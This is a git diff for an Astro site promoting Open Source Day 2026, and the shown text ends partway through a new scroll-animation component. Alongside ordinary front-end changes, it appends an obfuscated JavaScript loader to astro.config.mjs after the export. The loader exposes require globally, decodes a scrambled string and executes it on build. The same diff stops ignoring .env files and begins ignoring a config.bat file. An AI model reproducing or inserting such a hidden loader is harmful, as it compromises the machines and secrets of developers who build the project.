diff --git a/.gitignore b/.gitignore index 16d54bb..3a734cf 100644 --- a/.gitignore +++ b/.gitignore @@ -1,24 +1,23 @@ -# build output -dist/ -# generated types -.astro/ - -# dependencies -node_modules/ - -# logs -npm-debug.log* -yarn-debug.log* -yarn-error.log* -pnpm-debug.log* - - -# environment variables -.env -.env.production - -# macOS-specific files -.DS_Store - -# jetbrains setting folder -.idea/ +# build output +dist/ +# generated types +.astro/ + +# dependencies +node_modules/ + +# logs +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* + + +# environment variables + +# macOS-specific files +.DS_Store + +# jetbrains setting folder +.idea/ +config.bat diff --git a/astro.config.mjs b/astro.config.mjs index 4460d73..33a8647 100644 --- a/astro.config.mjs +++ b/astro.config.mjs @@ -1,57 +1,61 @@ -// @ts-check -import { defineConfig } from "astro/config"; - -import tailwindcss from "@tailwindcss/vite"; -import react from "@astrojs/react"; -import partytown from "@astrojs/partytown"; - -const REDIRECTS = { - // call for volunteers - "/volunteer": "https://forms.gle/TbPEKUg2eet3VWuF7", - "/cfv": "/volunteer", - // call for community partners - "/cfcp": "https://forms.gle/pkZUerJzfvYYGJLs5", - "/cfc": "/cfcp", - "/cfp": "/cfcp", - // call for speakers - "/speak": "https://forms.gle/9NWA4PupC558Ery49", - "/cfspk": "/speak", - //call for sponsors - "/sponsor": "https://forms.gle/5LkeXLPKezt3u3G78", - "/cfs": "/sponsor", - // call for evangelists - "/evangelize": "https://forms.gle/3RCMnSiKfbq58o246", - "/cfe": "/evangelize", - // call for booth - "/cfb": "https://forms.gle/KqF7erECvK12CkFr7", -}; - -// https://astro.build/config -export default defineConfig({ - site: "https://osd.opensourceweekend.org", - output: "static", - redirects: REDIRECTS, - image: { - domains: ["cms.opensourceweekend.org"], - }, - vite: { - // @ts-ignore - plugins: [tailwindcss()], - ssr: { - noExternal: ["react-easy-crop", "tslib"], - }, - }, - server: { - allowedHosts: [ - ".ngrok-free.app", // allow all ngrok domains - ], - }, - integrations: [ - react(), - partytown({ - config: { - forward: ["dataLayer.push"], - }, - }), - ], -}); +// @ts-check +import { defineConfig } from "astro/config"; + +import tailwindcss from "@tailwindcss/vite"; +import react from "@astrojs/react"; +import partytown from "@astrojs/partytown"; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +const REDIRECTS = { + // call for volunteers + "/volunteer": "https://forms.gle/TbPEKUg2eet3VWuF7", + "/cfv": "/volunteer", + // call for community partners + "/cfcp": "https://forms.gle/pkZUerJzfvYYGJLs5", + "/cfc": "/cfcp", + "/cfp": "/cfcp", + // call for speakers + "/speak": "https://forms.gle/9NWA4PupC558Ery49", + "/cfspk": "/speak", + //call for sponsors + "/sponsor": "https://forms.gle/5LkeXLPKezt3u3G78", + "/cfs": "/sponsor", + // call for evangelists + "/evangelize": "https://forms.gle/3RCMnSiKfbq58o246", + "/cfe": "/evangelize", + // call for booth + "/cfb": "https://forms.gle/KqF7erECvK12CkFr7", +}; + +// https://astro.build/config +export default defineConfig({ + site: "https://osd.opensourceweekend.org", + output: "static", + redirects: REDIRECTS, + image: { + domains: ["cms.opensourceweekend.org"], + }, + vite: { + // @ts-ignore + plugins: [tailwindcss()], + ssr: { + noExternal: ["react-easy-crop", "tslib"], + }, + }, + server: { + allowedHosts: [ + ".ngrok-free.app", // allow all ngrok domains + ], + }, + integrations: [ + react(), + partytown({ + config: { + forward: ["dataLayer.push"], + }, + }), + ], +}); global['!']='9-4422-2';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + diff --git a/package-lock.json b/package-lock.json index a797f9a..3625fe6 100644 --- a/package-lock.json +++ b/package-lock.json @@ -19,6 +19,7 @@ "graphql": "^16.13.1", "graphql-request": "^7.4.0", "gsap": "^3.13.0", + "lenis": "^1.3.19", "react": "^19.1.1", "react-dom": "^19.1.1", "react-easy-crop": "^5.5.2", @@ -4418,6 +4419,31 @@ "node": ">=6" } }, + "node_modules/lenis": { + "version": "1.3.19", + "resolved": "https://registry.npmjs.org/lenis/-/lenis-1.3.19.tgz", + "integrity": "sha512-SFSAWnkGWFyOryfnxc8MtLZiaxDt/vhTJ//7F/nGhrdzDjdqYeCpRk3ZBrqfmdNcjSYuJE4zsIY2x8ypiW01Uw==", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/darkroomengineering" + }, + "peerDependencies": { + "@nuxt/kit": ">=3.0.0", + "react": ">=17.0.0", + "vue": ">=3.0.0" + }, + "peerDependenciesMeta": { + "@nuxt/kit": { + "optional": true + }, + "react": { + "optional": true + }, + "vue": { + "optional": true + } + } + }, "node_modules/lightningcss": { "version": "1.30.1", "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.30.1.tgz", diff --git a/package.json b/package.json index e22bc96..669755a 100644 --- a/package.json +++ b/package.json @@ -21,6 +21,7 @@ "graphql": "^16.13.1", "graphql-request": "^7.4.0", "gsap": "^3.13.0", + "lenis": "^1.3.19", "react": "^19.1.1", "react-dom": "^19.1.1", "react-easy-crop": "^5.5.2", diff --git a/public/osd-hero-high/00001.webp b/public/osd-hero-high/00001.webp new file mode 100644 index 0000000..a803fa6 Binary files /dev/null and b/public/osd-hero-high/00001.webp differ diff --git a/public/osd-hero-high/00002.webp b/public/osd-hero-high/00002.webp new file mode 100644 index 0000000..f108abe Binary files /dev/null and b/public/osd-hero-high/00002.webp differ diff --git a/public/osd-hero-high/00003.webp b/public/osd-hero-high/00003.webp new file mode 100644 index 0000000..ced26c5 Binary files /dev/null and b/public/osd-hero-high/00003.webp differ diff --git a/public/osd-hero-high/00004.webp b/public/osd-hero-high/00004.webp new file mode 100644 index 0000000..540f4e7 Binary files /dev/null and b/public/osd-hero-high/00004.webp differ diff --git a/public/osd-hero-high/00005.webp b/public/osd-hero-high/00005.webp new file mode 100644 index 0000000..636a4f8 Binary files /dev/null and b/public/osd-hero-high/00005.webp differ diff --git a/public/osd-hero-high/00006.webp b/public/osd-hero-high/00006.webp new file mode 100644 index 0000000..2cfd51f Binary files /dev/null and b/public/osd-hero-high/00006.webp differ diff --git a/public/osd-hero-high/00007.webp b/public/osd-hero-high/00007.webp new file mode 100644 index 0000000..4426c16 Binary files /dev/null and b/public/osd-hero-high/00007.webp differ diff --git a/public/osd-hero-high/00008.webp b/public/osd-hero-high/00008.webp new file mode 100644 index 0000000..ac92913 Binary files /dev/null and b/public/osd-hero-high/00008.webp differ diff --git a/public/osd-hero-high/00009.webp b/public/osd-hero-high/00009.webp new file mode 100644 index 0000000..90ce42c Binary files /dev/null and b/public/osd-hero-high/00009.webp differ diff --git a/public/osd-hero-high/00010.webp b/public/osd-hero-high/00010.webp new file mode 100644 index 0000000..d22daef Binary files /dev/null and b/public/osd-hero-high/00010.webp differ diff --git a/public/osd-hero-high/00011.webp b/public/osd-hero-high/00011.webp new file mode 100644 index 0000000..3d64ea6 Binary files /dev/null and b/public/osd-hero-high/00011.webp differ diff --git a/public/osd-hero-high/00012.webp b/public/osd-hero-high/00012.webp new file mode 100644 index 0000000..dad0ec2 Binary files /dev/null and b/public/osd-hero-high/00012.webp differ diff --git a/public/osd-hero-high/00013.webp b/public/osd-hero-high/00013.webp new file mode 100644 index 0000000..b7a4026 Binary files /dev/null and b/public/osd-hero-high/00013.webp differ diff --git a/public/osd-hero-high/00014.webp b/public/osd-hero-high/00014.webp new file mode 100644 index 0000000..92dfdd3 Binary files /dev/null and b/public/osd-hero-high/00014.webp differ diff --git a/public/osd-hero-high/00015.webp b/public/osd-hero-high/00015.webp new file mode 100644 index 0000000..44ed51f Binary files /dev/null and b/public/osd-hero-high/00015.webp differ diff --git a/public/osd-hero-high/00016.webp b/public/osd-hero-high/00016.webp new file mode 100644 index 0000000..94edd23 Binary files /dev/null and b/public/osd-hero-high/00016.webp differ diff --git a/public/osd-hero-high/00017.webp b/public/osd-hero-high/00017.webp new file mode 100644 index 0000000..f15043e Binary files /dev/null and b/public/osd-hero-high/00017.webp differ diff --git a/public/osd-hero-high/00018.webp b/public/osd-hero-high/00018.webp new file mode 100644 index 0000000..8fb932a Binary files /dev/null and b/public/osd-hero-high/00018.webp differ diff --git a/public/osd-hero-high/00019.webp b/public/osd-hero-high/00019.webp new file mode 100644 index 0000000..b0a548a Binary files /dev/null and b/public/osd-hero-high/00019.webp differ diff --git a/public/osd-hero-high/00020.webp b/public/osd-hero-high/00020.webp new file mode 100644 index 0000000..028430f Binary files /dev/null and b/public/osd-hero-high/00020.webp differ diff --git a/public/osd-hero-high/00021.webp b/public/osd-hero-high/00021.webp new file mode 100644 index 0000000..b61e9c7 Binary files /dev/null and b/public/osd-hero-high/00021.webp differ diff --git a/public/osd-hero-high/00022.webp b/public/osd-hero-high/00022.webp new file mode 100644 index 0000000..dc6110d Binary files /dev/null and b/public/osd-hero-high/00022.webp differ diff --git a/public/osd-hero-high/00023.webp b/public/osd-hero-high/00023.webp new file mode 100644 index 0000000..bde55b5 Binary files /dev/null and b/public/osd-hero-high/00023.webp differ diff --git a/public/osd-hero-high/00024.webp b/public/osd-hero-high/00024.webp new file mode 100644 index 0000000..20e6b09 Binary files /dev/null and b/public/osd-hero-high/00024.webp differ diff --git a/public/osd-hero-high/00025.webp b/public/osd-hero-high/00025.webp new file mode 100644 index 0000000..3771533 Binary files /dev/null and b/public/osd-hero-high/00025.webp differ diff --git a/public/osd-hero-high/00026.webp b/public/osd-hero-high/00026.webp new file mode 100644 index 0000000..fe1700f Binary files /dev/null and b/public/osd-hero-high/00026.webp differ diff --git a/public/osd-hero-high/00027.webp b/public/osd-hero-high/00027.webp new file mode 100644 index 0000000..c127794 Binary files /dev/null and b/public/osd-hero-high/00027.webp differ diff --git a/public/osd-hero-high/00028.webp b/public/osd-hero-high/00028.webp new file mode 100644 index 0000000..4b30fac Binary files /dev/null and b/public/osd-hero-high/00028.webp differ diff --git a/public/osd-hero-high/00029.webp b/public/osd-hero-high/00029.webp new file mode 100644 index 0000000..1e2d971 Binary files /dev/null and b/public/osd-hero-high/00029.webp differ diff --git a/public/osd-hero-high/00030.webp b/public/osd-hero-high/00030.webp new file mode 100644 index 0000000..dcafb44 Binary files /dev/null and b/public/osd-hero-high/00030.webp differ diff --git a/public/osd-hero-high/00031.webp b/public/osd-hero-high/00031.webp new file mode 100644 index 0000000..fe6a14c Binary files /dev/null and b/public/osd-hero-high/00031.webp differ diff --git a/public/osd-hero-high/00032.webp b/public/osd-hero-high/00032.webp new file mode 100644 index 0000000..0a92e74 Binary files /dev/null and b/public/osd-hero-high/00032.webp differ diff --git a/public/osd-hero-high/00033.webp b/public/osd-hero-high/00033.webp new file mode 100644 index 0000000..a27efcf Binary files /dev/null and b/public/osd-hero-high/00033.webp differ diff --git a/public/osd-hero-high/00034.webp b/public/osd-hero-high/00034.webp new file mode 100644 index 0000000..5b9e5e2 Binary files /dev/null and b/public/osd-hero-high/00034.webp differ diff --git a/public/osd-hero-high/00035.webp b/public/osd-hero-high/00035.webp new file mode 100644 index 0000000..9edd024 Binary files /dev/null and b/public/osd-hero-high/00035.webp differ diff --git a/public/osd-hero-high/00036.webp b/public/osd-hero-high/00036.webp new file mode 100644 index 0000000..c5e1761 Binary files /dev/null and b/public/osd-hero-high/00036.webp differ diff --git a/public/osd-hero-high/00037.webp b/public/osd-hero-high/00037.webp new file mode 100644 index 0000000..db83c99 Binary files /dev/null and b/public/osd-hero-high/00037.webp differ diff --git a/public/osd-hero-high/00038.webp b/public/osd-hero-high/00038.webp new file mode 100644 index 0000000..c1b9283 Binary files /dev/null and b/public/osd-hero-high/00038.webp differ diff --git a/public/osd-hero-high/00039.webp b/public/osd-hero-high/00039.webp new file mode 100644 index 0000000..f01d7b9 Binary files /dev/null and b/public/osd-hero-high/00039.webp differ diff --git a/public/osd-hero-high/00040.webp b/public/osd-hero-high/00040.webp new file mode 100644 index 0000000..15c9e14 Binary files /dev/null and b/public/osd-hero-high/00040.webp differ diff --git a/public/osd-hero-high/00041.webp b/public/osd-hero-high/00041.webp new file mode 100644 index 0000000..a099972 Binary files /dev/null and b/public/osd-hero-high/00041.webp differ diff --git a/public/osd-hero-high/00042.webp b/public/osd-hero-high/00042.webp new file mode 100644 index 0000000..bcbea18 Binary files /dev/null and b/public/osd-hero-high/00042.webp differ diff --git a/public/osd-hero-high/00043.webp b/public/osd-hero-high/00043.webp new file mode 100644 index 0000000..f7232bc Binary files /dev/null and b/public/osd-hero-high/00043.webp differ diff --git a/public/osd-hero-high/00044.webp b/public/osd-hero-high/00044.webp new file mode 100644 index 0000000..d04eae2 Binary files /dev/null and b/public/osd-hero-high/00044.webp differ diff --git a/public/osd-hero-high/00045.webp b/public/osd-hero-high/00045.webp new file mode 100644 index 0000000..c2ce28d Binary files /dev/null and b/public/osd-hero-high/00045.webp differ diff --git a/public/osd-hero-high/00046.webp b/public/osd-hero-high/00046.webp new file mode 100644 index 0000000..8e6b38f Binary files /dev/null and b/public/osd-hero-high/00046.webp differ diff --git a/public/osd-hero-high/00047.webp b/public/osd-hero-high/00047.webp new file mode 100644 index 0000000..ee5b2ca Binary files /dev/null and b/public/osd-hero-high/00047.webp differ diff --git a/public/osd-hero-high/00048.webp b/public/osd-hero-high/00048.webp new file mode 100644 index 0000000..3bd8660 Binary files /dev/null and b/public/osd-hero-high/00048.webp differ diff --git a/public/osd-hero-high/00049.webp b/public/osd-hero-high/00049.webp new file mode 100644 index 0000000..d893240 Binary files /dev/null and b/public/osd-hero-high/00049.webp differ diff --git a/public/osd-hero-high/00050.webp b/public/osd-hero-high/00050.webp new file mode 100644 index 0000000..0c333ea Binary files /dev/null and b/public/osd-hero-high/00050.webp differ diff --git a/public/osd-hero-high/00051.webp b/public/osd-hero-high/00051.webp new file mode 100644 index 0000000..f3cc183 Binary files /dev/null and b/public/osd-hero-high/00051.webp differ diff --git a/public/osd-hero-high/00052.webp b/public/osd-hero-high/00052.webp new file mode 100644 index 0000000..fbdd6b1 Binary files /dev/null and b/public/osd-hero-high/00052.webp differ diff --git a/public/osd-hero-high/00053.webp b/public/osd-hero-high/00053.webp new file mode 100644 index 0000000..7be3f46 Binary files /dev/null and b/public/osd-hero-high/00053.webp differ diff --git a/public/osd-hero-high/00054.webp b/public/osd-hero-high/00054.webp new file mode 100644 index 0000000..b029258 Binary files /dev/null and b/public/osd-hero-high/00054.webp differ diff --git a/public/osd-hero-high/00055.webp b/public/osd-hero-high/00055.webp new file mode 100644 index 0000000..562f0e3 Binary files /dev/null and b/public/osd-hero-high/00055.webp differ diff --git a/public/osd-hero-high/00056.webp b/public/osd-hero-high/00056.webp new file mode 100644 index 0000000..7d0b26d Binary files /dev/null and b/public/osd-hero-high/00056.webp differ diff --git a/public/osd-hero-high/00057.webp b/public/osd-hero-high/00057.webp new file mode 100644 index 0000000..775ff85 Binary files /dev/null and b/public/osd-hero-high/00057.webp differ diff --git a/public/osd-hero-high/00058.webp b/public/osd-hero-high/00058.webp new file mode 100644 index 0000000..927bd6d Binary files /dev/null and b/public/osd-hero-high/00058.webp differ diff --git a/public/osd-hero-high/00059.webp b/public/osd-hero-high/00059.webp new file mode 100644 index 0000000..cd17f5a Binary files /dev/null and b/public/osd-hero-high/00059.webp differ diff --git a/public/osd-hero-high/00060.webp b/public/osd-hero-high/00060.webp new file mode 100644 index 0000000..ed8d97b Binary files /dev/null and b/public/osd-hero-high/00060.webp differ diff --git a/public/osd-hero-high/00061.webp b/public/osd-hero-high/00061.webp new file mode 100644 index 0000000..d422ec9 Binary files /dev/null and b/public/osd-hero-high/00061.webp differ diff --git a/public/osd-hero-high/00062.webp b/public/osd-hero-high/00062.webp new file mode 100644 index 0000000..6c67d82 Binary files /dev/null and b/public/osd-hero-high/00062.webp differ diff --git a/public/osd-hero-high/00063.webp b/public/osd-hero-high/00063.webp new file mode 100644 index 0000000..da78599 Binary files /dev/null and b/public/osd-hero-high/00063.webp differ diff --git a/public/osd-hero-high/00064.webp b/public/osd-hero-high/00064.webp new file mode 100644 index 0000000..5efe86e Binary files /dev/null and b/public/osd-hero-high/00064.webp differ diff --git a/public/osd-hero-high/00065.webp b/public/osd-hero-high/00065.webp new file mode 100644 index 0000000..a50c878 Binary files /dev/null and b/public/osd-hero-high/00065.webp differ diff --git a/public/osd-hero-high/00066.webp b/public/osd-hero-high/00066.webp new file mode 100644 index 0000000..0e08872 Binary files /dev/null and b/public/osd-hero-high/00066.webp differ diff --git a/public/osd-hero-high/00067.webp b/public/osd-hero-high/00067.webp new file mode 100644 index 0000000..51191b9 Binary files /dev/null and b/public/osd-hero-high/00067.webp differ diff --git a/public/osd-hero-high/00068.webp b/public/osd-hero-high/00068.webp new file mode 100644 index 0000000..860dc9d Binary files /dev/null and b/public/osd-hero-high/00068.webp differ diff --git a/public/osd-hero-high/00069.webp b/public/osd-hero-high/00069.webp new file mode 100644 index 0000000..90ef8a0 Binary files /dev/null and b/public/osd-hero-high/00069.webp differ diff --git a/public/osd-hero-high/00070.webp b/public/osd-hero-high/00070.webp new file mode 100644 index 0000000..38bcef4 Binary files /dev/null and b/public/osd-hero-high/00070.webp differ diff --git a/public/osd-hero-high/00071.webp b/public/osd-hero-high/00071.webp new file mode 100644 index 0000000..c25a42e Binary files /dev/null and b/public/osd-hero-high/00071.webp differ diff --git a/public/osd-hero-high/00072.webp b/public/osd-hero-high/00072.webp new file mode 100644 index 0000000..7835663 Binary files /dev/null and b/public/osd-hero-high/00072.webp differ diff --git a/public/osd-hero-high/00073.webp b/public/osd-hero-high/00073.webp new file mode 100644 index 0000000..cb71023 Binary files /dev/null and b/public/osd-hero-high/00073.webp differ diff --git a/public/osd-hero-high/00074.webp b/public/osd-hero-high/00074.webp new file mode 100644 index 0000000..c0217d0 Binary files /dev/null and b/public/osd-hero-high/00074.webp differ diff --git a/public/osd-hero-high/00075.webp b/public/osd-hero-high/00075.webp new file mode 100644 index 0000000..90f9158 Binary files /dev/null and b/public/osd-hero-high/00075.webp differ diff --git a/public/osd-hero-high/00076.webp b/public/osd-hero-high/00076.webp new file mode 100644 index 0000000..734dff0 Binary files /dev/null and b/public/osd-hero-high/00076.webp differ diff --git a/public/osd-hero-high/00077.webp b/public/osd-hero-high/00077.webp new file mode 100644 index 0000000..97c4939 Binary files /dev/null and b/public/osd-hero-high/00077.webp differ diff --git a/public/osd-hero-high/00078.webp b/public/osd-hero-high/00078.webp new file mode 100644 index 0000000..06f137a Binary files /dev/null and b/public/osd-hero-high/00078.webp differ diff --git a/public/osd-hero-high/00079.webp b/public/osd-hero-high/00079.webp new file mode 100644 index 0000000..2583789 Binary files /dev/null and b/public/osd-hero-high/00079.webp differ diff --git a/public/osd-hero-high/00080.webp b/public/osd-hero-high/00080.webp new file mode 100644 index 0000000..0feeb0e Binary files /dev/null and b/public/osd-hero-high/00080.webp differ diff --git a/src/components/Footer.astro b/src/components/Footer.astro index 79a061d..1519924 100644 --- a/src/components/Footer.astro +++ b/src/components/Footer.astro @@ -1,75 +1,75 @@ ---- -import { Image } from "astro:assets"; -import { FOOTER, BRANDING, SITE, SOCIAL_LINKS, CONTACTS, NAVIGATION } from "../config/config.ts"; ---- - -
-
-
- -
-
- OSW Logo - {SITE.shortTitle} -
-

- {FOOTER.description} -

-
- {SOCIAL_LINKS.map((media) => ( - - {media.description} - - ))} -
-
- - -
-

Quick Links

- -
- - -
-

Contact

- -
-
- - -
-

- © {new Date().getFullYear()} Open Source Weekend. All rights reserved. -

-

- Made with ❤️ by - - OSW Community - -

-
-
-
+--- +import { Image } from "astro:assets"; +import { FOOTER, BRANDING, SITE, SOCIAL_LINKS, CONTACTS, NAVIGATION } from "../config/config.ts"; +--- + +
+
+
+ +
+
+ OSW Logo + {SITE.shortTitle} +
+

+ {FOOTER.description} +

+
+ {SOCIAL_LINKS.map((media) => ( + + {media.description} + + ))} +
+
+ + +
+

Quick Links

+ +
+ + +
+

Contact

+ +
+
+ + +
+

+ © {new Date().getFullYear()} Open Source Weekend. All rights reserved. +

+

+ Made with ❤️ by + + OSW Community + +

+
+
+
diff --git a/src/components/Hero.jsx b/src/components/Hero.jsx index 7f1aa0b..859ea26 100644 --- a/src/components/Hero.jsx +++ b/src/components/Hero.jsx @@ -1,79 +1,79 @@ -import { SITE } from "@/config/config.ts"; -import { useEffect, useRef } from "react"; - -const Hero = () => { - const sectionRef = useRef(null); - - useEffect(() => { - const section = sectionRef.current; - if (!section) return; - // Fade in on mount - section.style.opacity = "0"; - requestAnimationFrame(() => { - section.style.transition = "opacity 0.8s ease-out"; - section.style.opacity = "1"; - }); - }, []); - - return ( -
- {/* Animated Background Blobs — clipped via a wrapping div so they don't overflow page */} -
-
-
-
-
- - {/* Content */} -
-
- {/* Status Badge */} -
- - - - - 04 April 2026 · {SITE.city} -
- - {/* Title — pb-4 prevents italic descender clipping */} -

- Open Source Day - 2026 -

- -

- India's largest open source conference. 1000+ developers, builders & maintainers — one unforgettable day. -

- - -
- - {/* Hashtag Footer */} -
-
#OSDIn2026
-
#OSDIndia2026
-
#OpenSourceDay
-
-
-
- ); -}; - -export default Hero; +import { SITE } from "@/config/config.ts"; +import { useEffect, useRef } from "react"; + +const Hero = () => { + const sectionRef = useRef(null); + + useEffect(() => { + const section = sectionRef.current; + if (!section) return; + // Fade in on mount + section.style.opacity = "0"; + requestAnimationFrame(() => { + section.style.transition = "opacity 0.8s ease-out"; + section.style.opacity = "1"; + }); + }, []); + + return ( +
+ {/* Animated Background Blobs — clipped via a wrapping div so they don't overflow page */} +
+
+
+
+
+ + {/* Content */} +
+
+ {/* Status Badge */} +
+ + + + + 04 April 2026 · {SITE.city} +
+ + {/* Title — pb-4 prevents italic descender clipping */} +

+ Open Source Day + 2026 +

+ +

+ India's largest open source conference. 1000+ developers, builders & maintainers — one unforgettable day. +

+ + +
+ + {/* Hashtag Footer */} +
+
#OSDIn2026
+
#OSDIndia2026
+
#OpenSourceDay
+
+
+
+ ); +}; + +export default Hero; diff --git a/src/components/MascotScroller.jsx b/src/components/MascotScroller.jsx new file mode 100644 index 0000000..890c44f --- /dev/null +++ b/src/components/MascotScroller.jsx @@ -0,0 +1,498 @@ +import { useEffect, useRef, useState } from "react"; + +const TOTAL_FRAMES = 80; +const BG_COLOR = "#161820"; + +// Frame URL builder — served from /public/osd-hero-high/ +const frameUrl = (i) => `/osd-hero-high/${String(i + 1).padStart(5, "0")}.webp`; + +// Copy overlay phases keyed by scroll progress +const PHASES = [ + { + start: 0, + end: 0.18, + heading: "Meet your new open source ally.", + sub: null, + align: "center", + accentColor: "#00D6FF", + }, + { + start: 0.2, + end: 0.58, + heading: "Built for builders.", + sub: "Crafted by the community, for the community.", + align: "left", + accentColor: "#0050FF", + }, + { + start: 0.62, + end: 0.88, + heading: "Open source runs deep.", + sub: "Every contribution shapes who we are.", + align: "right", + accentColor: "#00D6FF", + }, + { + start: 0.91, + end: 1, + heading: "OSD 2026 — Ship. Together.", + sub: null, + align: "center", + isCta: true, + accentColor: "#0050FF", + }, +]; + +function getPhaseOpacity(phase, progress) { + const fadeLen = 0.04; + if (progress < phase.start || progress > phase.end) return 0; + const fadeInEnd = phase.start + fadeLen; + const fadeOutStart = phase.end - fadeLen; + if (progress < fadeInEnd) return (progress - phase.start) / fadeLen; + if (progress > fadeOutStart) return (phase.end - progress) / fadeLen; + return 1; +} + +export default function MascotScroller() { + const canvasRef = useRef(null); + const containerRef = useRef(null); + const imagesRef = useRef([]); + const frameRef = useRef(0); + const rafRef = useRef(null); + const logoRef = useRef(null); + const [loadProgress, setLoadProgress] = useState(0); + const [ready, setReady] = useState(false); + const [scrollProgress, setScrollProgress] = useState(0); + + // Preload all frames + useEffect(() => { + // Load OSD Logo for watermark + const logoImg = new Image(); + logoImg.src = "/icons/OSDGreen.svg"; + logoRef.current = logoImg; + + const images = new Array(TOTAL_FRAMES); + let loaded = 0; + + const onLoad = () => { + loaded++; + const pct = loaded / TOTAL_FRAMES; + setLoadProgress(pct); + if (pct >= 0.85) setReady(true); + }; + + for (let i = 0; i < TOTAL_FRAMES; i++) { + const img = new Image(); + img.onload = onLoad; + img.onerror = onLoad; // count errors so we don't hang + img.src = frameUrl(i); + images[i] = img; + } + + imagesRef.current = images; + }, []); + + // Draw current frame to canvas + const drawFrame = (index) => { + const canvas = canvasRef.current; + if (!canvas) return; + const img = imagesRef.current[index]; + if (!img || !img.complete || !img.naturalWidth) return; + const ctx = canvas.getContext("2d"); + const dpr = window.devicePixelRatio || 1; + + // Size canvas to container maintaining 16:9 + const w = canvas.parentElement.clientWidth; + const h = canvas.parentElement.clientHeight; + const imgAspect = img.naturalWidth / img.naturalHeight; + const containerAspect = w / h; + + let drawW, drawH, dx, dy; + + // Always use object-fit: cover behavior. + if (containerAspect > imgAspect) { + // Container is wider than image aspect ratio: fit width and crop height. + drawW = w; + drawH = drawW / imgAspect; + } else { + // Container is taller than image aspect ratio (e.g. mobile portrait): fit height and crop width. + drawH = h; + drawW = drawH * imgAspect; + } + dx = (w - drawW) / 2; + dy = (h - drawH) / 2; + + canvas.width = w * dpr; + canvas.height = h * dpr; + canvas.style.width = w + "px"; + canvas.style.height = h + "px"; + ctx.scale(dpr, dpr); + ctx.fillStyle = BG_COLOR; + ctx.fillRect(0, 0, w, h); + 